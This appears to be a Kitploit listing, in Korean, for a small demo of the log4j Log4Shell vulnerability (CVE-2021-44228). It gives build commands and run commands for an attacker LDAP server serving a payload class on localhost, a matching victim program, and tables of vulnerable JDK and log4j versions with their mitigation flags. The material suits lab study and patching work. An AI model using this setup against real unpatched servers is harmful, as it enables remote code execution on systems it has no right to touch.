sample-ldap-exploit — CVE-2021-44228의 짧은 데모 | Kitploit

sample-ldap-exploit

CVE-2021-44228의 간단한 데모

빌드

$ mvn clean verify

공격자 실행

$ java \
  -cp 'attacker/target/sample-attacker.jar:attacker/target/lib/*' \
  sample.attacker.Attacker localhost 1389 sample.payload.Payload 8080 payload/target/sample-payload.jar

URLs:

http://localhost:8080/
http://localhost:8080/sample/payload/Payload.class

피해자 실행

$ java \
  -cp 'victim/target/sample-victim.jar:victim/target/lib/*' \
  sample.victim.Victim

결과

버전	상태
`Oracle JDK 8u5`	취약
`OpenJDK 8u312`	취약하지 않음 (`-Dcom.sun.jndi.ldap.object.trustURLCodebase=true`를 설정하지 않는 한)
`IBM OpenJDK 8u312-b07 (OpenJ9)`	취약하지 않음 (`-Dcom.sun.jndi.ldap.object.trustURLCodebase=true`를 설정하지 않는 한)
`OpenJDK 11.0.7+10`	취약하지 않음 (`-Dcom.sun.jndi.ldap.object.trustURLCodebase=true`를 설정하지 않는 한)
`OpenJDK 11.0.13+8`	취약하지 않음 (`-Dcom.sun.jndi.ldap.object.trustURLCodebase=true`를 설정하지 않는 한)
`OpenJDK 16+36`	취약하지 않음 (`-Dcom.sun.jndi.ldap.object.trustURLCodebase=true`를 설정하지 않는 한)
`OpenJDK 17+35`	취약하지 않음 (`-Dcom.sun.jndi.ldap.object.trustURLCodebase=true`를 설정하지 않는 한)
`OpenJDK 17.0.1+12`	취약하지 않음 (`-Dcom.sun.jndi.ldap.object.trustURLCodebase=true`를 설정하지 않는 한)

버전	상태
`2.9.1`	취약
`2.10.0`	취약 (`-Dlog4j2.formatMsgNoLookups=true` 또는 환경 변수 `LOG4J_FORMAT_MSG_NO_LOOKUPS=true`를 설정하지 않는 한)
`2.14.1`	취약 (`-Dlog4j2.formatMsgNoLookups=true` 또는 환경 변수 `LOG4J_FORMAT_MSG_NO_LOOKUPS=true`를 설정하지 않는 한)
`2.15.0`	취약하지 않음

sample-ldap-exploit

인기

JDK / JRE

log4j